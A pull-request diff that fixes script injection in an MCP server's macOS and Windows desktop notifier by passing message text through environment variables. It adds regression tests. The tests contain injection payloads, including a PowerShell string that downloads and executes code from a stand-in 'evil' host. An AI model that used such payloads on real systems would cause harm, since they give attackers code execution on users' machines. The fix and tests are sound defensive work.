Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 27 additions & 8 deletions mcp_server/notifiers/desktop.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,29 +78,48 @@ def notify(
return True
elif sys.platform == "darwin":
if shutil.which("osascript"):
script = f'display notification "{clean_body}" with title "{header}"'
# Untrusted content (message/title may echo text the agent
# observed on an attacker-controlled app or page) must never
# be spliced into the AppleScript source: any '"' or newline
# in it would let the injected text terminate the string
# literal and run as its own statement (e.g. `do shell
# script ...`). Pass it out of band via the environment and
# read it back with `system attribute` instead.
script = (
'display notification (system attribute "ARTEMIS_TOAST_BODY") '
'with title (system attribute "ARTEMIS_TOAST_TITLE")'
)
env = {**os.environ, "ARTEMIS_TOAST_BODY": clean_body, "ARTEMIS_TOAST_TITLE": header}
subprocess.run(
["osascript", "-e", script],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=3,
env=env,
)
return True
elif sys.platform == "win32":
# Same class of risk as the macOS branch above: header/clean_body
# must never be interpolated into the PowerShell source text.
# Read them back from the environment instead so a quote or
# semicolon in untrusted content can't break out of the
# CreateTextNode(...) string literal and run as PowerShell.
ps_cmd = (
f"[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null; "
f"$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText02); "
f'$textNodes = $template.GetElementsByTagName("text"); '
f'$textNodes.Item(0).AppendChild($template.CreateTextNode("{header}")) > $null; '
f'$textNodes.Item(1).AppendChild($template.CreateTextNode("{clean_body}")) > $null; '
f"$toast = [Windows.UI.Notifications.ToastNotification]::new($template); "
f'[Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier("Artemis").Show($toast);'
"[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null; "
"$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText02); "
'$textNodes = $template.GetElementsByTagName("text"); '
"$textNodes.Item(0).AppendChild($template.CreateTextNode($env:ARTEMIS_TOAST_TITLE)) > $null; "
"$textNodes.Item(1).AppendChild($template.CreateTextNode($env:ARTEMIS_TOAST_BODY)) > $null; "
"$toast = [Windows.UI.Notifications.ToastNotification]::new($template); "
'[Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier("Artemis").Show($toast);'
)
env = {**os.environ, "ARTEMIS_TOAST_TITLE": header, "ARTEMIS_TOAST_BODY": clean_body}
subprocess.run(
["powershell", "-NoProfile", "-Command", ps_cmd],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=5,
env=env,
)
return True
except Exception as e:
Expand Down
85 changes: 85 additions & 0 deletions tests/unit/mcp/test_notifiers.py
Original file line number Diff line number Diff line change
Expand Up @@ -232,3 +232,88 @@ def mock_run(cmd, capture_output, text, check, timeout, env):
assert saved_sessions == [("localhost:1234", "good-token")]
assert os.environ["ANTIGRAVITY_LS_ADDRESS"] == "localhost:1234"
assert os.environ["ANTIGRAVITY_CSRF_TOKEN"] == "good-token"


def test_desktop_notifier_macos_script_injection(monkeypatch):
"""A quote character in the notified message must not let injected
AppleScript escape the string literal `osascript -e` receives."""
import sys
import subprocess as subprocess_module

monkeypatch.setattr(sys, "platform", "darwin")
monkeypatch.setattr(shutil, "which", lambda cmd: "/usr/bin/osascript" if cmd == "osascript" else None)
monkeypatch.delenv("ARTEMIS_DESKTOP_NOTIFY", raising=False)
monkeypatch.delenv("CI", raising=False)

captured = {}

def fake_run(args, **kwargs):
captured["args"] = args
captured["env"] = kwargs.get("env")

class Result:
returncode = 0

return Result()

monkeypatch.setattr(subprocess_module, "run", fake_run)

payload = 'pwned" \ndo shell script "touch /tmp/artemis_pwned"\n--'
notifier = DesktopNotifier()
result = notifier.notify("conv-inj", payload, title="Artemis Task Completed")
assert result is True
assert "args" in captured, "osascript should have been invoked"

script_arg = captured["args"][captured["args"].index("-e") + 1]
assert "do shell script" not in script_arg, (
"the injected AppleScript statement must never appear inside the "
"-e script argument; the message content must be passed out of band "
f"(e.g. via env/system attribute), got: {script_arg!r}"
)
env = captured["env"] or {}
assert payload.split("\n\n")[0][:120] in env.values(), (
"the real message content must still reach the user via the "
"environment, not just be dropped"
)


def test_desktop_notifier_windows_script_injection(monkeypatch):
"""A quote character in the notified message must not let injected
PowerShell escape the CreateTextNode(\"...\") string literal."""
import sys
import subprocess as subprocess_module

monkeypatch.setattr(sys, "platform", "win32")
monkeypatch.delenv("ARTEMIS_DESKTOP_NOTIFY", raising=False)
monkeypatch.delenv("CI", raising=False)

captured = {}

def fake_run(args, **kwargs):
captured["args"] = args
captured["env"] = kwargs.get("env")

class Result:
returncode = 0

return Result()

monkeypatch.setattr(subprocess_module, "run", fake_run)

payload = 'x")); iex(New-Object Net.WebClient).DownloadString(\'http://evil/x\'); (("'
notifier = DesktopNotifier()
result = notifier.notify("conv-inj-win", payload, title="Artemis Task Completed")
assert result is True
assert "args" in captured, "powershell should have been invoked"

ps_cmd = captured["args"][captured["args"].index("-Command") + 1]
assert "DownloadString" not in ps_cmd, (
"the injected PowerShell expression must never appear inside the "
"-Command script text; the message content must be passed out of "
f"band (e.g. via $env:), got: {ps_cmd!r}"
)
env = captured["env"] or {}
assert payload.split("\n\n")[0][:120] in env.values(), (
"the real message content must still reach the user via the "
"environment, not just be dropped"
)
Loading